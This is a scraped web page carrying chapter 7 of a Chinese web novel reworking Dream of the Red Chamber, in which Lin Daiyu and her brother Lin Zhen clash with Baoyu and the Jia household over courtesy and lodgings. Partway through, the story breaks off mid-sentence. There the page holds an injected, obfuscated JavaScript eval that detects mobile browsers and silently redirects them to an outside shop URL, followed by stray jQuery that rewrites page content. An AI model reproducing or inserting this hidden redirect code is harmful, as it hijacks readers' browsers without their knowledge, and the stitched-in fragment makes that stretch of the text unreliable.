默认冷灰
24号文字
方正启体

7. 第 7 章

作者:杞绿颜本书字数:K更新时间:
    一时宝玉给王夫人请了安回来,又换了身家常衣裳,项圈、宝玉、寄名锁、护身符一样不少,足见养得娇贵。贾母笑道:“外客没见,就脱了衣裳了,还不去见你妹妹同她弟弟呢。”宝玉早看见了两个面生的人坐着,料定是江南来的远客,忙上前见礼。


    先见着一个妹妹,袅袅婷婷,眉目含愁,说不出的灵秀纤弱,登时喜不自胜:“这个妹妹我曾见过的。”喜得贾母连声道:“好,好,这么更相和睦了。”


    相比起气度不凡的林妹妹,林弟弟就不那么出彩了,宝玉看去,只觉得是个和惜春差不多大年纪的小孩儿,眉目虽也清秀,但似笑非笑的,看着不大好亲近,宝玉也知道他并不是林姑妈生的,心里也远了几分,只是见他有个那样神仙似的姐姐,爱屋及乌,也同他好好地见了礼。


    贾母虽然不是多喜欢林榛,但要维系住和林家的姻亲也只能靠这两个孩子,加之听说锦乡伯要收他为学生,又想到他毕竟是探花之子,若能和宝玉多亲近,引他一起读书上进,也算好事,但见二人都淡淡的,也只得作罢。


    宝玉同林榛见完,便迫不及待又去问黛玉:“妹妹可曾读书?”黛玉刚要顺着贾母的话回“不曾读书”,却听林榛反问道:“宝玉哥哥读了哪些书?”


    他这话问完,宝玉也不说话,倒是三春姐妹都捂着嘴笑了起来,探春笑问:“二哥哥的《诗经》读到第几本了?别又往回读了。前儿老爷才说,你要把《四书》一概听明白背熟了才好呢。”


    黛玉倒是没想到这个表兄连四书也不曾学完,又想,难道外祖母说姐妹们不读书,也是因为这个?


    贾母因道:“可巧,刚才听你林妹妹说,她弟弟也才读到《诗经》,你们以后下了学,倒是可以互相讨论功课。”


    宝玉忙道:“外书房的李师父病了,向老爷辞馆,老爷命我去家塾读书去,待明年业师上来,再回家读书。”说罢又看贾母。贾母果然道:“家学里子弟众多,若是淘气起来,反而读不好书。况你才病好些,又折腾这些作什么?且在家里温温旧书罢了,若是你老子问起来,就回我说的。”宝玉这才欢喜地应下来。


    黛玉也知道贾家是有家塾的,只是连贾敏提起娘家的家塾来也没什么好脸色,如海更是从未考虑过,倒是舍近求远要送儿子去锦乡伯家读书。如今见了这位表哥,倒是一下子明白了——榛儿小了好几岁,且已是耽误了开蒙的情况下,都能和表哥差不多的进步,母亲说他“不喜读书”,倒还是客气了的。


    宝玉又问姐弟俩的表字,黛玉道:“无字。”宝玉笑道:“我送妹妹一字,莫若‘颦颦’二字极妙。”探春因问典故,宝玉便胡诌了一个出来,被探春一眼看破:“怕又是杜撰。”宝玉道:“除了《四书》外,杜撰得也太多了,况这妹妹眉尖若蹙,取这个字岂不美?”


    林榛却问:“既然典故都是杜撰的,寓意也不好,到底美在何处?”


    宝玉平常在家,鲜少遇到这样明白驳斥他的,一时也怔住了,不知如何作答。还是探春替他圆场:“瞧瞧你,平常同我们玩笑惯了,如今来了远客,也这样说胡话,可把人家吓到了。”


    林榛冷笑着问:“宝玉哥哥可有字?”


    宝玉愣愣地回答:“未及弱冠,老爷尚未赐字。”


    “可巧,我父亲也没来得及给姐姐赐字呢。”林榛说话本带有些吴语的软意,此时特意用了官腔,在“父亲”、“赐字”处又格外加重了语气。


    其实他这么一开口,不说宝玉,在场所有人都察觉出来不妥,女子的闺名、小字本就是极隐秘的,林如海好好地在扬州做着官呢,他又没特意委托,怎么轮得到宝玉一个平辈表兄胡乱开口。探春脸一红,平心而论,若是今日是林榛在这儿要给她们姐妹三个取字,她确实没法笑着说出“不过是玩笑罢了”这样的话,没当场也杜撰出个典故来取个字刺回去都算有礼的了,就算林表弟当场发作,问“这就是国公府的教养么”,恐怕她们也只能受着……只这么一想,宝玉还不怎么样,她先不自在起来。


    贾母一定把黛玉接到京里来自己抚养,一是疼惜女儿唯一的骨肉,再就是怕林如海一续弦,自己家同这位探花郎的姻亲就断了,有外孙女在,林御史无论如何都得认她这个岳母,且她今日见了外孙女,果然品貌非凡,有她敏儿的影子在,更是喜欢得不能再喜欢了,亦动了亲上加亲,把她许给宝玉的念头,此刻更不愿得罪林如海,忙对宝玉道:“往日姐妹们让着你,不与你计较,可是把你惯坏了?还不给你妹妹赔不是呢!”


    宝玉一时高兴忘了形,被这么一说,也知道自己失言,讷讷地赔礼道歉:“是我的不是,林妹妹、林弟弟不要生气,别理会我的胡言乱语。原只想着和妹妹多亲近,却忘了礼数,该打。”


    黛玉道:“寄居贵府,不敢生气。”


    贾母急道:“你这孩子,性子也随了你娘,倒是要我如何是好!”


    虽然从宝玉一开口,黛玉心里就觉得扎了根刺,但林榛亲口挑破宝玉话里话外的那层不尊重的时候,她依然觉得心惊。原本探春打圆场时,她也可以借口说林榛童言无忌、说着玩玩的把这事就这么抹过去,但又凭什么呢?她好歹也是一个官家小姐,只因寄居国公府,就成了公子哥儿取乐的玩意儿了?今日若退让了这一步,日后要退多少步?她若不摆个态度,反而背刺了林榛替她直言的义气了。因而也执意挺着,直到外祖母也着急了,宝玉更是吓得流泪,几欲赌咒发誓,姐妹们又都替他赔不是,才应下这份道歉。


    她其实并不是忍气吞声的性子,只是寄人篱下不得不低头,才从进门那一刻起便处处小心,连话都顺着主人家的意思说,此刻低头看了一眼弟弟,姐弟二人眼中都露出了一丝痛快。


    宝玉虽遇了冷脸,但他给姐妹们做小伏低惯了,并不觉得被冒犯,反而觉得这神仙似的妹妹果然有一身傲骨,倒配得她这样的容貌,一时更喜欢了,只是已然得罪过妹妹一回,不敢多说话,只小心地围在一旁,听着家里的姐姐妹妹们和她说话,想法子见缝插针地附和两句。


    姐妹们见他急得团团转的模样,只觉得好笑,又于心不忍,更不能真在贾母面前冷落了这位金疙瘩,便把话题往他身上引,说到了那块通灵宝玉。宝玉忙不迭地摘下这块玉来,给新来的弟弟妹妹看。


    黛玉本也好奇这大有来历的稀罕物儿,但是见两个大丫鬟专门拿帕子垫着递过来,宝贝得什么似的,又乏味起来,怕自己真摔了打了人家的这宝贝,又要如何自处?因而也未曾拿起,只借着丫鬟的手看了一回,又怕自己这样显得敷衍,主人家反而气恼,故而问弟弟:“你听说过表哥衔玉而生的奇闻不曾?”


    林榛答:“自然听过。”却背着众人,只对着姐姐比划了个从嘴里拿东西的姿势。


    黛玉自然看懂了,登时又好气又好笑,忙打了弟弟一下。只是这么一来,便再也忘不掉这玉是从一个男人嘴里抠出来的事,什么“稀罕”、“灵异”也顾不上了,几欲作呕,也只能庆幸自己方才不曾上手。


    宝玉见她姐弟二人似是对自己的这块玉并无多大兴趣,喜得拍手道:“这玉家里姐姐妹妹都没有,单我有,我说没趣,如今来了神仙似的妹妹,想来她是有的。”


    黛玉心里一惊,她亲眼见了这位衔玉而生的表兄是如何集万千荣充于一身,自然明白外祖母一家是如何宝贝、骄傲这块通灵宝玉的,真挑衅了这股“天生异像”,主人家必是恼怒。正要脱口而出“我没有玉”,但确实说不出什么奉承那玉的话来,因而只含混道:“母亲给我和弟弟留了玉环,命我们彼此照拂。”


    贾母闻听她说起贾敏,不免黯然神伤,众人好容易劝住了。又有奶娘来问林家姐弟的房舍。贾母想道:“将宝玉挪出来,同我在套间暖阁里,把你林姑娘暂且安置在碧纱橱里。”待安排林榛时,她又犯了难,论起年龄来,似乎该让他去和贾兰、贾环住一块儿,可是贾环跟着赵姨娘,那是个不着调的,让林如海知道了,真能从扬州亲自赶过来和贾家断亲。李纨又是个守寡的节妇,纵然林榛再小,也是外姓男,绝不可以……她正想着呢,宝玉道:“好祖宗,我就在碧纱橱外的床上也很妥当,又何必出来,闹得老祖宗不得安静呢?”


    林榛冷笑了一声。


    有前头那一出,众人现在听他这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102865|195751||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样笑,便有些发怵,忙对宝玉道:“你且听老太太安排罢。”又忙向林榛解释,老太太房里的碧纱橱做得比旁人家的屋子还要大,隔着门呢,又各自有奶娘、丫头照管,且有众多上夜的人候着,并不是宝玉那话音里似的“就在外头的床上”。


    林榛听完她们的解释,悠悠道:“我知道,我们家也有的。”


    众人才松了一口气,玩笑道:“这是什么话,你家四世列侯,什么样的屋子修不得,还用特意说给我们听。”


    林榛又道:“确实,也只有我姨娘家那样穷得要卖儿卖女的人家,才只盖得起两间瓦房,让姐妹兄弟们挤在一间屋子里。”


    他这话已经是指着贾府的鼻子在骂了,当下连贾母的脸色都不大好,心想:怪道金陵的人来信,都说敏儿家那个庶子是有些左性的,如今看来,确实是油盐不进。只是她这样的身份地位,又不能直冲着小辈发作,正要说两句,黛玉先上来道:“外祖母怜我年幼,要留我在身边住着,本不该推辞,只是我生来多病,夜间咳疾若发作起来,惊扰了外祖母、表兄安睡,岂不罪过?且方才听说表兄病也才刚好,到底要小心些,别被我过了病气去。”


    她这样一说,贾母也踌躇起来,只是到底不舍得外孙女儿离得太远,便道:“如此,宝玉还是跟我睡。”


    黛玉却道:“只是我弟弟年岁太小,身边离不得人,他是我林氏宗子,于我而言干系重大,我只得亲眼看着才安心。况我们这趟来,大小仆从也带了一二十个,若是分散来安置,也不便宜,榛儿还得出去上学去,每日车马来去,若和姐妹们一处在内院,属实不便。”


    贾母听她这意思是想单独一处房舍居住,虽说荣国府中房舍众多,没有差几间房子的道理,但她把外孙女接来,自然是想亲近的,又如何舍得?只是黛玉搬出了“一族宗子”,她又不能将林榛独自安置了……百般纠结不下,又听黛玉道:“且我才去拜见舅舅时,二舅母特意叮嘱了,叫我们远着些表兄,免得小孩子淘气,没得生了嫌隙。我这弟弟一向嘴比脑子快,我替他向表兄赔不是,只是……”


    她这么一说,贾母脑袋先“嗡”了一下,问:“你二舅母这么说了?”


    黛玉垂手应了声“是”。


    贾母低下头,沉默了好一会儿,方道:“既然你们都这么说了,罢了。”又吩咐道,“琏儿和凤丫头那个院子后头是不是还有一处小院儿空着呢?快收拾出来,让他姐弟二人住下。”


    贾琏、王熙凤是她孙辈中最得意的了,其中贾琏帮着料理家务,凤姐更是帮她姑妈把内宅大小事务打点得十分周到。他夫妇二人既担此责,住处自然四通八达,又别有洞天,安排林家姐弟住他们附近,确实妥帖。贾母仍不放心,除反复叮嘱黛玉“有了什么缺的短的,就去找你凤姐姐,别怕开口”,又叫林家跟过来的仆从上来,她要亲眼见过。


    放眼望去,一个个的倒真应了宝玉那句“虽未曾见过,却面善”了,贾母忙问他们父母来历,果然都是贾敏当初陪房的孩子,本就十分伤怀,叹道:“果然,我都这样的岁数了,还能见着几个过去的人呢?”


    众人忙上前安慰,好容易劝下,贾母便更怜惜黛玉,将自己身边的一个二等丫头,名叫鹦哥的给了她,其余便如迎春等一般,除乳娘、丫鬟外,另配四个教引嬷嬷。


    黛玉见外祖母只给自己配人,唯恐弟弟觉得遭了冷落,待夜间只剩自己家人时,想宽慰他两句,林榛却道:“这有什么,就是咱们老家,也是娇养女孩儿,没见谁家男孩儿身边围绕着一群嬷嬷、丫鬟的。真要我像表兄那样出入一堆人围着,我反而不自在。”黛玉一听,确实是这个道理,江南风气,以将女儿养得贤孝才德为荣,从来只听说把女儿当男儿教养的,未曾见过如宝玉这样,明明是男孩儿,却厮混在内帷的。


    那厢丹青却在忧心别的:“舅太太今日跟姑娘说的话,姑娘直接说给了老太太知道,恐会得罪舅太太?”


    “恐怕吧。”黛玉道。


    丹青更急了。


    “但若是不能让别人知道,是不是也不该同我说?”黛玉笑道,“你急什么,父亲在扬州呢。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)